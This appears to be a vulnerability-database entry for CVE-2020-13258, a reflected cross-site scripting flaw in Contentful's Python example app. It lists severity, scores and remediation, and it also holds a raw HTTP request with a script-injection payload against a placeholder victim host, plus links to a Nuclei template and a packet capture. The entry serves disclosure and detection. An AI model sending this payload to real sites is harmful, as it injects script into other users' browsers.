| Title | Contentful <=2020-05-21 - Cross-Site Scripting |
|---|---|
| Author | pikpikcu |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Upgrade Contentful to a version that is not vulnerable to CVE-2020-13258 or apply the necessary patches provided by the vendor. |
| CVSS Score | 6.1 |
| EPSS Score | 0.02668 |
| CVE ID | CVE-2020-13258 |
| CWE ID | CWE-79 |
| Tags | cve cve2020 contentful xss vuln |
Contentful through 2020-05-21 for Python contains a reflected cross-site scripting vulnerability via the api parameter to the-example-app.py.
GET /?cda'"</script><script>alert(document.domain)</script>&locale=locale=de-DE HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:124.0) Gecko/20100101 Firefox/124.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-13258.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-13258.pcap
N/AN/A